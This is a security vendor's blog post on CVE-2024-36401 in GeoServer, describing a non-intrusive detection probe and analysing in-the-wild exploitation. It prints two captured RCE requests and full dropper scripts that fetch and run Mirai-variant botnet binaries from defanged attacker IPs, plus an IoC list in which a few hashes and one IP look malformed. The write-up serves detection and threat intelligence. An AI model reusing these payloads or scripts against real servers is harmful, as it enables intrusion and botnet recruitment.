GeoServer CVE-2024-36401: Tailoring a Public PoC to Enable High-Confidence Detection

Geoserver CVE-2024-36401
Fábio Freitas
Written by Fábio Freitas
Sr. Vulnerability Researcher
João Godinho
Written by João Godinho
Principal Research Scientist

Introduction

At Bitsight, one of the responsibilities of the Vulnerability Research team is to develop fingerprinting methods to not only identify exposed services, but also vulnerabilities in those services. When it comes to detecting vulnerabilities, there are increased challenges depending on the complexity of both the vulnerability and the vulnerable service. Some vulnerabilities are easily identified by metadata provided by the service, while others have dependencies that we must identify to detect them correctly.

An example of a more nuanced vulnerability that presented challenges in identification is CVE-2024-36401, which affects GeoServer services, an open-source software for geospatial data sharing and processing, with a Remote Code Execution (RCE) vulnerability. While this may seem like an obscure service, it is moderately widespread, particularly within government and other geospatial-reliant sectors - such as transportation or industry, making the detection of this vulnerability especially critical.

This vulnerability was made public back in 2024, and we started supporting it in our product’s Vulnerability Detection Catalog shortly after it was added to the CISA Known Exploited Vulnerabilities (KEV) list. However, this year-old vulnerability has gained some traction again recently, as a new report has surfaced detailing how it was exploited by threat actors to compromise a federal civilian executive branch (FCEB) agency, deploying malware along the way. Alongside the recently published report, we have also detected recent exploitation attempts of this vulnerability.

Due to its complexity, directly porting public Proof-of-Concepts (PoCs) for large-scale detection is infeasible, as the exploitation of the vulnerability depends on some prerequisites that are customized by the application administrator during setup and normal usage.

In this blog post, we describe how we tailored publicly available PoCs for CVE-2024-36401 into a non-intrusive, high-confidence detection method suitable for internet-wide scanning, and we will also describe our observations in exploitation attempts of this vulnerability.

Problem statement

CVE-2024-36401 exploits an issue in evaluating property name expressions within GeoServer, enabling unauthenticated attackers to execute arbitrary code. While detection based on GeoServer’s version seemed promising at first, it presented several limitations:

  1. Downstream Patching and Configuration: Instances could apply patches or remove the vulnerable component without upgrading GeoServer.
  2. Version Inconsistencies: Not all GeoServer instances publicly exposed their version information.
  3. Configuration Dependencies: The vulnerability required specific configurations to be exploitable, particularly the presence of a user-defined typeName parameter in the setup.

These challenges required a more robust method for identifying vulnerable instances without intrusive exploitation. We turned to existing research and public PoCs to develop a tailored solution.

Vulnerability Analysis

Test Environment

To replicate the conditions necessary for exploiting the vulnerability, we set up two Docker containers:

docker run -p 8085:8080 kartoza/geoserver:2.25.0  # Vulnerable version
docker run -p 8086:8080 kartoza/geoserver:2.25.2  # Patched version

Following the configuration guidance from Keysight’s blog post, we ensured the typeName parameter was defined in both instances, as this is a prerequisite for exploitation.

Root cause

When we dive a bit deeper into the vulnerability, we can understand that it stems from how GeoServer processes user-supplied input via XPath, a language designed for querying XML documents. GeoServer utilizes the commons-jxpath library to handle these XPath expressions.

In vulnerable GeoServer instances, the dynamic evaluation of these XPath expressions, which should be strictly confined to complex feature types (like Application Schema data stores), is also executed for simple feature types that can be user-supplied. This creates a significant security risk, as it opens the possibility for arbitrary code execution when processing maliciously crafted input.

Fix for CVE-2024-36401

Figure 1 - Fix for CVE-2024-36401 implemented in [GEOT-7587] Improve handling of XPath expressions

In the fix, the developers created a newSafeContext method that encapsulates this evaluation so it does not allow for code execution.

GeoServer “FeatureTypes”

GeoServer is a software that handles geospatial data, and it abstracts the concept of Feature Types, “which define the schema for features in a geospatial dataset, specifying the properties that each feature can have - analogous to columns in a database table. This schema is critical in managing geospatial data.”

These are important because it’s during the processing of these Feature Types that the unsafe evaluation of the XPath expressions occurs.

In the normal initial usage of the application, an administrator will create a Feature Type in the application, in the format: namespace:featuretype - for example, bitsight:randomFeature

The publicly known exploits

At the time of our research, there were a few write-ups available already for this vulnerability, accompanied by their own Proof of Concepts, such as Vicarius.io - GeoServer RCE (CVE-2024-36401), and Keysight - CVE-2024-36401: A Remote Code Execution Vulnerability in GeoServer. However, as we highlighted below, the already available PoCs had two issues that prevented us from porting them directly onto our detection engine:

Problem #1: Intrusiveness - the used payloads attempted to achieve remote code execution and confirm the existence of the vulnerability by leveraging this code execution to make a callback to the attacker’s server, or to create a file on the server. This is not something that we can do at an internet scale, as we refrain from performing any detection technique that might cause a state-changing operation in the target.

Problem #2: Scalability - the used payloads need the featureType parameter that we explained above, which depends on each of the targets’ initial configuration. In the below PoCs, they either used a parameter that needs to be supplied by the attacker when executing it, or a hardwired parameter that would only work against that researcher’s environment, since he configured his GeoServer server with the workspace:states feature type.

attacker-supplied parameter type

Figure 2 - PoC from https://github.com/bigb0x/CVE-2024-36401/ - using an attacker-supplied parameter type, and using an RCE payload to trigger a callback.

RCE payload

Figure 3 - PoC from https://www.keysight.com/blogs/en/tech/nwvs/2024/09/03/cve-2024-36401-rce-in-geoserver - using a hard-coded workspace:states parameter type, and using an RCE payload to create a file on the server.

Detecting it safely, and at scale

Given these two problems, our focus now shifts towards tweaking the payload itself to solve them.

For the first one, we quickly figured out a solution to make it significantly less intrusive. We found that we could discard the exec() Java directive altogether, and just use java.lang.Runtime.getRuntime().

Vulnerable response

Figure 4 - Vulnerable response from benign payload

patched version

Figure 5 - Patched response from benign payload

Vulnerable versions of the Geoserver software would reply with a 400 HTTP Status Code, as well as an error message containing a ClassCastException, while patched versions of the application would not try to dynamically interpret the invalid XPath expression, and instead reply with a 500 HTTP Status Code and the message No such attribute: java.lang.Runtime.getRuntime()

We later found out that the same request can be translated to a GET request instead, such as /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames={type_name}&valueReference=java.lang.Runtime.getRuntime%28%29&version=2.0.0, which simplifies our payload.

As for the second issue, it required us to dig deeper into other research, as well as into the software’s documentation itself. We needed to figure out an unauthenticated way to obtain a valid featureType from each of the instances before triggering our benign payload.

When reviewing some links and documentation, we found the following Stack Overflow Answer, and the respective functionality in the documentation:

Here, it states that there is an endpoint /geoserver/workspacename/ows?service=WFS&request=DescribeFeatureType, which will reply with a list of Feature Types for that GeoServer instance.

stackoverflow-answer

Figure 6 - Stack Overflow Answer regarding DescribeFeatureType

DescribeFeatureType

Figure 7 - GeoServer’s documentation regarding DescribeFeatureType

Leveraging this endpoint before, Problem #2 is now solved, and our detection logic will be finalized as follows:

  1. Issue a request to /geoserver/workspacename/ows?service=WFS&request=DescribeFeatureType
  2. Parse the response and retrieve a valid featureType value
  3. Issue a request to /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames={type_name}&valueReference=java.lang.Runtime.getRuntime%28%29&version=2.0.0
  4. Parse the response
    1. If the response is a 400 HTTP Status Code, containing an error message that includes a ClassCastException message, then it’s vulnerable to CVE-2024-36401

Results

After CVE-2024-36401 was added to the CISA KEV, we implemented this detection capability into our product in September 2024. Around that time, we found 4606 GeoServer instances, of which 1071 were vulnerable to this vulnerability. Now, around 10 months later, we still support it, and this number has been reduced to approximately 2,074 GeoServer instances, from which 385 are still vulnerable to this CVE.

Observed Exploitations

Fingerprinting scans for GeoServer services are a common observation in our datasets, but around summertime, specifically between June and August, we observed exploitation attempts for CVE-2024-36401. These exploits were dropping a script with the purpose of recruiting vulnerable servers into botnets, which we detail next.

Vtubers Exploit

One of the exploits which we’ve named Vtubers, based on the name of the script being dropped, was sending the payload seen below in Fig. 8:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec(java.lang.Runtime.getRuntime(),'curl -o vtubers.sh hxxp://15.204.119[.]129/vtubers.sh; chmod 777 vtubers.sh; sh vtubers.sh; rm -rf vtubers.sh') HTTP/1.1  
Host: xx.xx.xx.xx:443

Figure 8 - Payload sent by the Vtubers exploit

This exploit tries to run `curl` to drop and run a script named `vtubers.sh`. We've observed at least 2 different versions of the `vtubers.sh` script, which are shown below in Fig. 9:


#!/bin/sh

echo "hololive vtubers are the best!"

wget hxxp://15.204.119[.]129/shion.vtubers
curl hxxp://15.204.119[.]129/watame.vtubers

vtubers="amelia ayame fubuki gura haachama kiara korone laplus marine mori mumei okayu pekora shion subaru towa"
hololivepro="172.233.82[.]130"

if command -v wget >/dev/null 2>&1; then
    for vtuber in $vtubers; do
        wget -q "http://$hololivepro/$vtuber.vtuber" -O "$vtuber.vtuber"
        chmod +x "$vtuber.vtuber"
        ./"$vtuber.vtuber"
        rm -f "$vtuber.vtuber"
    done
elif command -v curl >/dev/null 2>&1; then
    for vtuber in $vtubers; do
        curl -s -o "$vtuber.vtuber" "http://$hololivepro/$vtuber.vtuber"
        chmod +x "$vtuber.vtuber"
        ./"$vtuber.vtuber"
        rm -f "$vtuber.vtuber"
    done
else
    echo ":("
    exit 1
fi

Figure 9 - Content of observed `vtubers.sh` script

Regarding the URLs in the first script, we were not able to find their content, but looking at the content of the second script we hypothesize that they’d have a similar functionality, where multiple binary files are fetched and run. The second script shows a common behaviour for payloads used in internet exposed devices, where binaries are compiled for multiple architectures, and then the implant script attempts to use either `curl` or `wget` to fetch the correct binary for the architecture.

We briefly looked at the binaries being dropped by the script to get a better understanding of the botnet, and based on the signatures provided by VirusTotal this botnet appears to be a Mirai variant, which has self-propagating and DDoS capabilities. We searched our telemetry for exploits dropping the same `vtubers.sh` script and found multiple payloads for different vulnerabilities, which align with the behaviour of Mirai. We only found 27 unique IPs related to this botnet for the year of 2025, indicating that at the time of writing the botnet is quite small in terms of potentially infected machines. For completeness, we’ve also extracted the indicators used as Command and Control (C2), which we share in the IoCs section.

Test Exploit

One other exploit we’ve observed is shown below in Fig. 10, which we've named test based on the payload name.

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec(java.lang.Runtime.getRuntime().exec("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/test.sh; curl -O hxxp://65.21.56[.]214/test.sh; chmod +x *; chmod 777 *; sh test.sh; ./test.sh; rm -rf * | sh")) HTTP/1.1  
Host: xx.xx.xx.xx:8080  
Accept: */*

Figure 10 - Payload sent by the test botnet

Similar to before, this exploit fetches and tries to run a script. Fig. 11 below shows the content of the script, which behaves identically to the previous botnet: `curl` and `wget` are used to fetch one binary that works for the exploited service architecture.

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/x86; curl -O hxxp://65.21.56[.]214/systemcl/x86; cat x86 > unk.x86; chmod +x *; ./unk.x86 x86; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/mips; curl -O hxxp://65.21.56[.]214/systemcl/mips; cat mips > unk.mips; chmod +x *; ./unk.mips mips; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arc; curl -O hxxp://65.21.56[.]214/systemcl/arc; cat arc > unk.arc ; chmod +x *; ./unk.arc arc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/i468; curl -O hxxp://65.21.56[.]214/systemcl/i468; cat i468 > unk.i468 ; chmod +x *; ./unk.i468 i468; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/i686; curl -O hxxp://65.21.56[.]214/systemcl/i686; cat i686 > unk.i686 ; chmod +x *; ./unk.i686 i686; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/x86_64; curl -O hxxp://65.21.56[.]214/systemcl/x86_64; cat x86_64 > unk.x68_64  ; chmod +x *; ./unk.x86_64 x86_64; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/mpsl; curl -O hxxp://65.21.56[.]214/systemcl/mpsl; cat  mpsl > unk.mpsl ; chmod +x *; ./unk.mpsl mpsl; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm; curl -O hxxp://65.21.56[.]214/systemcl/arm; cat  arm > unk.arm ; chmod +x *; ./unk.arm arm; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm5; curl -O hxxp://65.21.56[.]214/systemcl/arm5; cat  arm5 > unk.arm5 ; chmod +x *; ./unk.arm5 arm5; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm6; curl -O hxxp://65.21.56[.]214/systemcl/arm6; cat  arm6 > unk.arm6 ; chmod +x *; ./unk.arm6 arm6; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm7; curl -O hxxp://65.21.56[.]214/systemcl/arm7; cat  arm7 > unk.arm7 ; chmod +x *; ./unk.arm7 arm7; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/ppc; curl -O hxxp://65.21.56[.]214/systemcl/ppc; cat  ppc > unk.ppc ; chmod +x *; ./unk.ppc ppc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/spc; curl -O hxxp://65.21.56[.]214/systemcl/spc; cat  spc > unk.spc ; chmod +x *; ./unk.spc spc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/m68k; curl -O hxxp://65.21.56[.]214/systemcl/m68k; cat  m68k > unk.m68k ; chmod +x *; ./unk.m68k m68k; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/sh4; curl -O hxxp://65.21.56[.]214/systemcl/sh4; cat  sh4 > unk.sh4 ; chmod +x *; ./unk.sh4 sh4; rm -rf *

Figure 11 - Script `test.sh` content

This second botnet is identical to the previous one in terms of behaviour. Based on signatures for the binaries dropped by the script, we also believe this is a Mirai variant but from a different threat actor. We've only identified 6 unique IPs using the same `test.sh` script, but we also note that this threat actor segregates their infrastructure more, as the IPs hosting the scripts differ from the ones used as C2 for the botnet; hence, we might not have the complete picture for this botnet.

Conclusion

CVE-2024-36401 highlights the importance of not taking publicly available PoCs at face value, as some of them might be tested only against the researchers’ own environments. At Bitsight, part of the responsibility of the vulnerability research team is, even when PoCs for a certain vulnerability are already public, making sure that they are not only safe to use but also that they are accurate when loaded for an at-scale detection scenario. We also show that even though the vulnerability is not new, threat actors are exploiting it, which reinforces why enterprises should control their exposure using services like Bitsight’s Security Performance Management and Continuous Monitoring.

IoCs

SHA256 Details
962949acaad7d8d626893abfb746db37a1bbf680ec0ce4d9d993deb82539f627 Vtubers botnet binaries hosted by 172.233.82[.]130
611737dd350548f3dd1ed7b3e657d4fbcea68c3c04aee8b4a372c647f3db7853
80ce552aaa53902ad9505e9a6f47bfd93ba4d1e2513af7f2d6b32e169bfe127
caf58369b34126be4f46efed96ecab81b2c4f16feced00b34ea0423abd743c29
d23686d396824086497b65b5b2443c4c07a60fd157d13ec904f662e21405bad
10212aa94ba13323cf27b190b1f784252bc8358cdccac2ccb82991183ec25cd
c0b89dfce895a832eafa06bb8419780e74afa895d7a48ff7d8c53ded9a5374
59f2a4503647d69bcdba4ff68442e97550eed0d4bf13f49ad2f4f77119fa864
9fe88c7d94383284cf26ab9a3936b4d984118ede03aacd3f1a7e80d18740894
f2013cb532946fda1dfc42cde8e8a36aa61be1f4a177e7aef633a8c7918871f3
3b4b682c2acb9ca965bb602ff42581c41cfbfb08d195bfed65410294f608bfad
87435f5450f563794447a982789a1fbee1b79207b2997338c75e527b057ac
3aad43f537977b132d96ed9604e0f2fdbe3ad78d19a33e3768cd79be3808d0a
ecf86e7430e1cfd701a7890c65c29da8da84f5cd88a8198e98924436c7bfc2
dafb6cfaab8ef0c98d9c3bb38d837a12a1b3a29f77dc7c0eb71d6cca81b89264
74ec1545696cfcf4fe57fe27da1218e82c4da87ca6eb34db98068f1dc769d275
d2ba3ef8af026fd0d2d33248c42236bec5b944b668f5ebc7cdba2b04cc4b9fd4 Test botnet binaries hosted by 65.21.56[.]1214
da0d7ca9995e5a056755058fbb3b37e301d854808f580edcad5898541285e7d1
ada7225e886f9c2c8e88f94d5c04a8bf564f3cebd989342eb183e5c628a072da
56a9e38649a022dd11c43974aa709860f585b9655e85fe2901b3201d03165762
fd327e197d291bdcdbaf7382c8f37f7f19c9956991323794ed529c8281bae73
bf3f6daad4aabe72c30eb64407dfba52b15e6c108c6502d44c57a72b655279891
1cbdc275caff194fc4eded354e7604d3b189a9ee5d5532370cb1db3676158704

 

Domain/IP Details
217.113.49[.]161 IP sending the exploit for the Vtubers botnet
okayuthefoodiecat.mozicloud[.]org Domains used by the Vtubers botnet
hololive.mozicloud[.]org
holohouse.uwunekochan[.]com
vtubers.uwunekochan[.]com
15.204.119[.]129 IP hosting binaries, scripts and C2 for the Vtubers botnet
172.233.82[.]130
185.194.177[.]60 IP sending the exploit for the Test botnet
65.21.56[.]214 IP hosting binaries and scripts for the Test botnet
zrysdxnzmo.antiwifi[.]cc Domains used by the Test botnet
jmanga[.]co
87.121.84[.]60 IP used as C2 for the Test botnet